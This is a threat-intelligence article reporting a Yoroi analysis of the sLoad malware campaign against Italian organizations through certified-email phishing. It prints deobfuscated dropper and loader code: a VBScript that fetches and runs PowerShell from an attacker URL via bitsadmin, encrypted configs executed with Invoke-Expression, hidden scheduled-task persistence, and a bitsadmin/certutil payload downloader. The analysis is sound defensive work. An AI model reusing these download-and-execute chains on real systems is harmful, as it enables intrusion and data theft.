The sLoad Threat: Ten Months Later

Pierluigi Paganini October 04, 2019

Since September 2018, SLoad (tracked as TH-163) is the protagonist of an increasing and persistent wave of attacks against Italian organizations.

Introduction

SLoad (TH-163) is the protagonist of increasing and persistent attack waves against the Italian panorama since Q3 2018 and then in 2019 (e.g N020419N040619N010819), but also against the UK and Canada as reported by Proofpoint. Ten months ago, we wrote about the complex infection chain the sLoad malware threat was using during its attack campaigns, and today we are looking at the evolution of the threat by dissecting one of its latest attacks.

During our CSDC monitoring operation, we recently noticed some changes in the infamous attack waves related to sLoad, which is known for adopting a complex infection chain using to spread additional malware. For this reason Cybaze-Yoroi ZLAB dissected one latest ones.

Technical Analysis

According to CERT-PA investigations, the malware has recently been delivered using legit certified emails (PEC). These recent attack waves were targeting Italians Organizations and consultants affiliated to Professional associations, such as lawyers and civil engineers. Once again the attachment is a malicious zip. 

Figure 1: Example of mail (source:CERT-PA)

The Infection Chain

Figure 2: Files contained in attachment file zip

This time the zip does not hide powershell code, such the appended one recovered in the past waves. The archive contains two files: a corrupted PDF file and a VBScript. The first one is designed to deceive the unaware user and force him to open the runnable script.

In the following tables are shown some basic information about samples contained in the zip archive.

Hash30d6f6470e145a1d1f2083abc443148c8e3f762025ca262267ae2e531b2e8ab4
Threat.vbs dropper
Brief DescriptionSload visual basic script loader
Ssdeep192:Fb1TpsF8Z1mZcwfD0VCmA7VETYM/2IVKfCH:FbQjZZfDsA7G2zfCH

Table 1: Information about SLoad .vbs dropper

Hash43db5fcb75d50a5516b687b076be5eb1aaec4b51d8d61a60efc69b383c1d757c
Threat.pdf file
Brief DescriptionSload corrupted pdf file
Ssdeep1536:mmD8g29U+A092Ljr/N0VyvD/ABVqYA7hq4XoZxXjdY4u/dQV:FdLKQjrFgyvsB0YA1q4YZxpWQV

Table 2: Information about SLoad .pdf file

Opening the vbs dropper is possible to see an obfuscated script containing several junk instructions like unused variables and commented codes. After a deobfuscation phase is possible to see the inner logic. The purpose of this script is launch start a powershell script retrieved from the attacker infrastructures and, in the meantime, decoy the victim.

  1. On Error Resume Next
  2. Set ZCzG = CreateObject(“Scripting.FileSystemObject”)
  3. Set PavfQt = WScript.CreateObject (“WScript.Shell”)
  4. Set XaiX = ZCzG.GetFolder(“c:\Users\”)
  5. Recurse(XaiX)
  6. PavfQt.run “bitsadmin /transfer OkFCVS /download /priority FOREGROUND https://dreamacinc.com/UCP9dATGyt6mJ/srdzHcN4bWUum.jpg c:\Users\Public\Downloads\RSbYHuPO.ps1”,0,True
  7. i=0
  8. Do While i < 1
  9. If (ZCzG.FileExists(“c:\Users\Public\Downloads\RSbYHuPO.ps1”)) Then
  10. i=1
  11. End If
  12. WScript.Sleep(2280)
  13. Loop
  14. PavfQt.run “powershell.exe -ep bypass -file c:/users/public/downloads/RSbYHuPO.ps1 “,0,True
  15. Sub Recurse(JFLY)
  16. If IsAccessible(JFLY) Then
  17. For Each oSubFolder In JFLY.SubFolders
  18. Recurse oSubFolder
  19. Next
  20. For Each RIst In JFLY.Files
  21. If InStr(RIst.Name,”.pdf”) > 0 Then
  22. PavfQt.run “explorer “+JFLY+”\”+RIst.Name
  23. End if
  24. Next
  25. End If
  26. End Sub
  27. Function IsAccessible(XaiX)
  28. On Error Resume Next
  29. IsAccessible = (XaiX.SubFolders.Count >= 0)
  30. End Function

Code snippet 1: Deobfuscated vbs dropper

The malware downloads a fake jpg using the using “bitsadmin.exe”  tool from “hxxps://dreamacinc[.com/UCP9dATGyt6mJ/srdzHcN4bWUum[.jpg”. The usage of native tools allow the script to operate under the radar avoiding several AVs controls. The fake jpg actually contains a powershell script. 

  1. $oLZz2= “C:\Users\admin\AppData\Roaming”;
  2. $YwbpkcN9XUIv1w=@(1..16);
  3. […]
  4. $main_ini=’76492d1116743f0423413b16050a5345MgB8ADUAVAB4 […] AMQAyAGYA’;
  5. $main_ini | out-file $PaIQGLoo’\main.ini’;
  6. $domain_ini=’76492d1116743f0423413b1605 […] YwBlAA==’;
  7. $domain_ini | out-file $PaIQGLoo’\domain.ini’;
  8. […]
  9. try{ […]
  10. }catch{$yC0iBerAupzdtf5Z=Get-Process -name powershell*;
  11. if ($yC0iBerAupzdtf5Z.length -lt 2){
  12. $EXhfbIPG7pUAEZzgZEnM = (Get-WmiObject Win32_ComputerSystemProduct).UUID ;
  13. $r=8;
  14. $B3xcDMBF=$EXhfbIPG7pUAEZzgZEnM.Substring(0,$r);
  15. $zjGQzSypyGPthusR = $047MydhkAAfp1W+”\”+$B3xcDMBF;
  16. $sv8eJJhgWV3xAN7Uu=@(1..16);
  17. $umwTVcIoudRlXjR6yAQQ= Get-Content “main.ini”$MLUkmHrgbpKyVEt8nS= ConvertTo-SecureString $umwTVcIoudRlXjR6yAQQ -key $sv8eJJhgWV3xAN7Uu;
  18. $AKXy3OFCowsfie = [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($MLUkmHrgbpKyVEt8nS);
  19. $DBR4S3t = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($AKXy3OFCowsfie);
  20. Invoke-Expression $DBR4S3t;
  21. }
  22. } | out-file $PaIQGLoo’\’$H3z9RnzIihO8′.ps1′
  23. $OFHc0H4A=’ /F /create /sc minute /mo 3 /TN “S’+$rs+$fLCg9ngJqRHX36hfUr+'” /ST 07:00 /TR “wscript /E:vbscript ‘+$PaIQGLoo+’\’+$JxdRWnHC+’.tmp”‘;
  24. start-process -windowstyle hidden schtasks $OFHc0H4A; […]

Code snippet 2: Downloaded powershell code

The first action the script  does is to set a scheduled task to grant persistence on the infected machine. Then, after selection a random active process on infected machine (“System” in this specific infection) and concatenation it with the “%AppData%\Roaming” path, it stores four different files in his installation folder.

  • <random_name>.tmp
  • <random_name>.ps1
  • domain.ini
  • main.ini

All of them are embedded in the script; furthermore, two of them (“domain.ini” and “main.ini”)  are encrypted using the “ConvertFrom-SecureString”  native function. Then, the script runs the “UoqOTQrc.tmp” file, having the only purpose to execute the “UoqOTQrc.ps1” file contained in the same folder.

Figure 3: Files created in “%AppData%\Roaming\<active_process>\”
  1. Dim str, min, max
  2. Const LETTERS = “abcdefghijklmnopqrstuvwxyz”
  3. min = 1
  4. max = Len(LETTERS)
  5. Randomize
  6. […]
  7. Set objFSO=CreateObject(“Scripting.FileSystemObject”)
  8. Set winssh = WScript.CreateObject (“WScript.Shell”)
  9. fName=RandomString(10)
  10. JAcalshy=RandomString(4)
  11. fZgxNPDMnu=RandomString(4)
  12. WEHxctVdTEoDfqEqJMP=RandomString(4)
  13. […]
  14. Set objFile = objFSO.CreateTextFile(outFile,8, True)
  15. objFile.Write “Set “+JAcalshy+”=rshe” & vbCrLf
  16. objFile.Write “Set “+fZgxNPDMnu+”=ypa” & vbCrLf
  17. objFile.Write “Set “+WEHxctVdTEoDfqEqJMP+”=il” & vbCrLf
  18. objFile.Close
  19. winssh.run “powershell -ep bypass -file .ps1”,0,true

Code snippet 3: content of “UoqOTQrc.tmp” file.

  1. try{
  2. Remove-EventLog:Debug-Job
  3. Export-BinaryMiLog:Get-PSSessionConfiguration
  4. Remove-JobTrigger:New-Item
  5. }catch{
  6. $yC0iBerAupzdtf5Z=Get-Process -name powershell*;
  7. if ($yC0iBerAupzdtf5Z.length -lt 2){
  8. $EXhfbIPG7pUAEZzgZEnM = (Get-WmiObject Win32_ComputerSystemProduct).UUID ;$r=8;
  9. $B3xcDMBF=$EXhfbIPG7pUAEZzgZEnM.Substring(0,$r);
  10. $zjGQzSypyGPthusR = $047MydhkAAfp1W+”\”+$B3xcDMBF;
  11. $sv8eJJhgWV3xAN7Uu=@(1..16);
  12. $umwTVcIoudRlXjR6yAQQ= Get-Content “main.ini”
  13. $MLUkmHrgbpKyVEt8nS= ConvertTo-SecureString $umwTVcIoudRlXjR6yAQQ -key $sv8eJJhgWV3xAN7Uu;
  14. $AKXy3OFCowsfie =
  15. [System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($MLUkmHrgbpKyVEt8nS);
  16. $DBR4S3t = [System.Runtime.InteropServices.Marshal]::PtrToStringAuto($AKXy3OFCowsfie);
  17. Invoke-Expression $DBR4S3t;
  18. }

Code snippet 4: content of “UoqOTQrc.ps1” file.

In the same way, the “UoqOTQrc” script decrypts the “mini.ini” file using the “ConvertFrom-SecureString” function and the ecnryption key contained in “$sv8eJJhgWV3xAN7Uu” variable, a sequential integer array. 

Figure 4: “main.ini” file before and after decryption

The decrypted “main.ini” script tries to ping a URL generated selecting three ascii char-codes in ranges [65-90] and [67-122]. Then, it decrypts “domain.ini” using the key in the “$main_key” variable. In the end, it saves the results in the “btc.log” file. Continuing the analysis of “main.ini” is possible to spot that the script also grabs system information to check-in the newly infected host.

Figure 5: “domain.ini” file before and after decryption
Figure 6: Some information exfiltrate by the malware before and after base64 decoding

At this point, another malicious file is downloaded. The malware retrieves it from “hxxps://<C2_URL>/doc/x2401.jpg”. Once again, this is not a real jpg, but rather another obfuscated powershell layer.

  1. $u2K2MQ4 = “`r`n”
  2. $lNlNrKyk= –join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})
  3. $yIXgWSaXsKD5hanf9uO= $env:userprofile+’\App’+’Da’+’ta\Ro’+’am’+’ing’;
  4. $hh=’hi’+’dd’+’en’;
  5. $ixXApGeqJKEGY=@(1..16);
  6. $Erlydjiyy = (Get-WmiObject Win32_ComputerSystemProduct);
  7. $Erlydj = $Erlydjiyy.UUID;
  8. $sOmUGoc0ysV8UW=$Erlydj.Substring(0,6);
  9. $Z5lTNXB = $yIXgWSaXsKD5hanf9uO+”\”+$sOmUGoc0ysV8UW;
  10. If(!(test-path $Z5lTNXB)){New-Item -ItemType Directory -Force -Path $Z5lTNXB}
  11. If(test-path $Z5lTNXB”\_in”){$gQd0DB82ByQ0pziwKZ=Get-ChildItem $Z5lTNXB”\_in”;$FQDO2rSjJJxrkrYFWM1W = Get-Date;if ($gQd0DB82ByQ0pziwKZ.LastWriteTime -gt $FQDO2rSjJJxrkrYFWM1W.AddMinutes(-30)){break;break;}}; “1” | out-file $Z5lTNXB”\_in”;
  12. try{ Remove-Item $Z5lTNXB’\*’}catch{}
  13. $wsxDITPgQCH+=’76492d1116743f0423413b16050a5345MgB8AGsAKwBwAHkASQBUAGgAWgBKAEsAbgBFAE8AUQBHA’;
  14. […]
  15. $wsxDITPgQCH+=’UAZAA1AGIAZAA0ADIAYgBkAGUANQAzADIAYgBkAGIAMwBlADMAZQA1ADAAOQA3ADgAYwAyAGYAMgA’;
  16. $wsxDITPgQCH+=’3ADAANQA1AA==’;
  17. $wsxDITPgQCH | out-file $Z5lTNXB’\config.ini’;
  18. $5r8DcJB4ok4+=’76492d1116743f0423413b16050a5345MgB8AHQAYgBqAFYAVQBQADUAQwBNAGEAZABWAFMA’;
  19. […]
  20. $5r8DcJB4ok4+=’YQBiADUAOAAzAGQANAAxADgAMwAxAGYANQAwAGIA’;
  21. $5r8DcJB4ok4 | out-file $Z5lTNXB’\web.ini’;
  22. start-process -windowstyle $hh schtasks ‘/change /tn GoFast /disable’;
  23. $2aWxu9dutZfOPCCgS+=$u2K2MQ4+’Dim ‘;
  24. […]
  25. $nz0oninX6=$ixXApGeqJKEGY -join ‘,’;
  26. $E6M6Np8nhXnu4ndPEJ=’ /F /create /sc minute /mo 3 /TN “U’+$sOmUGoc0ysV8UW+'” /ST 07:00 /TR “wscript /E:vbscript ‘+$Z5lTNXB+’\’+$lNlNrKyk+’.tmp”‘;
  27. start-process -windowstyle $hh schtasks $E6M6Np8nhXnu4ndPEJ;

Code snippet 5: Obfuscated content of “x2401.jpg” file.

  1. $u2K2MQ4 = “rn”;
  2. $lNlNrKyk= –join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_});
  3. $yIXgWSaXsKD5hanf9uO= $env:userprofile+’\AppData\Roaming’;
  4. $Erlydjiyy = (Get-WmiObject Win32_ComputerSystemProduct);
  5. $Erlydj = $Erlydjiyy.UUID;
  6. $sOmUGoc0ysV8UW=$Erlydj.Substring(0,6);
  7. $Z5lTNXB = $yIXgWSaXsKD5hanf9uO+”\”+$sOmUGoc0ysV8UW;
  8. If(!(test-path $Z5lTNXB)){New-Item -ItemType Directory -Force -Path $Z5lTNXB}
  9. If(test-path $Z5lTNXB”\_in”){$gQd0DB82ByQ0pziwKZ=Get-ChildItem $Z5lTNXB”\_in”;$FQDO2rSjJJxrkrYFWM1W = Get-Date;if ($gQd0DB82ByQ0pziwKZ.LastWriteTime -gt $FQDO2rSjJJxrkrYFWM1W.AddMinutes(-30)){break;break;}}; “1” | out-file $Z5lTNXB”\_in”;
  10. try{ Remove-Item $Z5lTNXB’\*’}catch{}
  11. $wsxDITPgQCH=”76492d1 […] A1AA==”;
  12. $wsxDITPgQCH | out-file $Z5lTNXB’\config.ini’;
  13. $5r8DcJB4ok4=”7649 […] AGIA”;
  14. $5r8DcJB4ok4 | out-file $Z5lTNXB’\web.ini’;
  15. start-process -windowstyle hidden schtasks ‘/change /tn GoFast /disable’;
  16. $2aWxu9dutZfOPCCgS=”Dim winssh […] winssh.run “powershell -ep bypass -file vJjFwtSM.ps1″,0,true”;
  17. $2aWxu9dutZfOPCCgS | out-file $Z5lTNXB’\’$lNlNrKyk’.tmp’
  18. $r1uIiPZBhUea0=” $zTxePJtpmbVI0btT6cd9=Get-Process -name powershell*; […] Invoke-Expression $NLO3lwvn1xWn;}”;
  19. $r1uIiPZBhUea0 | out-file $Z5lTNXB’\’$lNlNrKyk’.ps1′
  20. $nz0oninX6=”1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16″;
  21. $E6M6Np8nhXnu4ndPEJ=”/F /create /sc minute /mo 3 /TN “U52A34D” /ST 07:00 /TR “wscript /E:vbscript C:\Users\admin\AppData\Roaming\52A34D\vJjFwtSM.tmp”;
  22. start-process -windowstyle hidden schtasks $E6M6Np8nhXnu4ndPEJ;

Code snippet 6: Deobfuscated content of “x2401.jpg” file.

Like previous script, this one perform the same operations and create other four file in “%AppData%\Roaming\<active_process>” path. This time the files are:

Figure 7: Files created in “%AppData%\Roaming\<active_process>\”
  • <random_name>.tmp
  • <random_name>.ps1
  • config.ini
  • web.ini

The first executed file is “<random_name>.tmp”. It is not obfuscated and its only purpose is the execution of “<random_name>.ps1”. The content of “<random_name>.ps1” file is the following. The latest script decrypt the content of “config.ini” file. The following figure shown both encrypted and decrypted “config.ini” file.

Figure 8: Files created in “%AppData%\Roaming\<active_process>\”

This script performs the same operation described in “main.ini” file but use different URLs stored in the “web.ini” file. Also this time, the file is decrypted using an integer array from 1 to 16  as key and contained in “$mainKey” variable.

Figure 9: “web.ini” file before and after decryption

Finally, it tries to download the final payload with the following piece of script. However, at the time of analysis, all the C2 URLs seems to be down, so we are not able to detect the final payload family. 

  1. $dPath = [Environment]::GetFolderPath(“MyDocuments”)
  2. $jerry=$starsLord+’\’+$roccon+’_’+$rp;
  3. $clpsr=’/C bitsadmin /transfer ‘+$rp+’ /download /priority FOREGROUND ‘+$line+’ ‘+$jerry+’.txt & Copy /Z ‘+$jerry+’.txt ‘+$jerry+’_1.txt & certutil -decode ‘+$jerry+’_1.txt ‘+$dPath+’\’+$roccon+’_’+$rp+’.exe & powershell -command “start-process ‘+$dPath+’\’+$roccon+’_’+$rp+’.exe” & exit’;
  4. start-process -wiNdowStylE HiddeN $mainDMC $clpsr;
  5. $clpsr=’/C del ‘+$jerry+’.txt & del ‘+$jerry+’_1.txt & del ‘+$dPath+’\’+$roccon+’_’+$rp+’.exe & exit’;
  6. start-process -wiNdowStylE HiddeN $mainDMC $clpsr;

Code snippet 7: script to download the final payload

Comparison With Previous Chains

To better understand the evolution of sLoad infection chain, we compared attack attempts observed since 2018 and the latest ones. In both cases, the infection vector is a carefully themed malicious email, weaponized with zip archive containing two files. In the first case the starting point is a “.lnk” file and in the second one the chain starts with a “.vbs” script. 

The sLoad attack chain observed months ago was characterized by some pieces of powershell code appended to the tail of the zip archive. Probably, this technique become more detectable during the time, so it could have been deprecated in latest infections attempts. For both malware variants, the archive contains a legit image (or pdf) used to deceive the unaware user. Moreover, in the first analyzed variant, the core of the infection is mainly based on powershell scripts and LOLbins. However, the latest stages uses a mix of Powershell and Visual Basic Scripts.


Figure 10: Infection chain workflow

The agent body is still quite similar in the core structure, however the bot now supports new commands such as “Exec” and “Eval”, the latter is able to download further code through the Bitsadmin utility instead of directly rely on “Net.WebClient” primitive. Also, the “ScreenCapture” function have been removed from the new version of the code, in favor to the enhancement of the agent persistence through scheduled task.

Figure 11: Comparison between old and new version on “config.ini” file

Conclusion

sLoad is keeping evolving their TTPs and represents a vivid threat for the Italian cyber-panorama. Also, many times, especially during the last months, its activities in the country involved the abuse of certified mailboxes (PEC) targeting associated professionals and consultants, along with private companies. Additionally, the quality of the latest phishing emails is high: the group adopted templates and naming conventions actually in use by  Italian Revenue Agency (“Agenzia delle Entrate”).

The plentiful usage of LOLbins, Powershell scripts and SSL encrypted channels, makes detection of this threat difficult for automated systems, and frequently requires analysis abilities or high quality threat intelligence sources to detect and tackle sLoad attack campaigns, many times targeting just a single country.

Experts published a post on the Yoroi blog:

https://blog.yoroi.company/research/the-sload-threat-ten-months-later/

[adrotate banner=”9″] [adrotate banner=”12″]

Pierluigi Paganini

(SecurityAffairs – sLoad, malware)

[adrotate banner=”5″]

[adrotate banner=”13″]



you might also like

leave a comment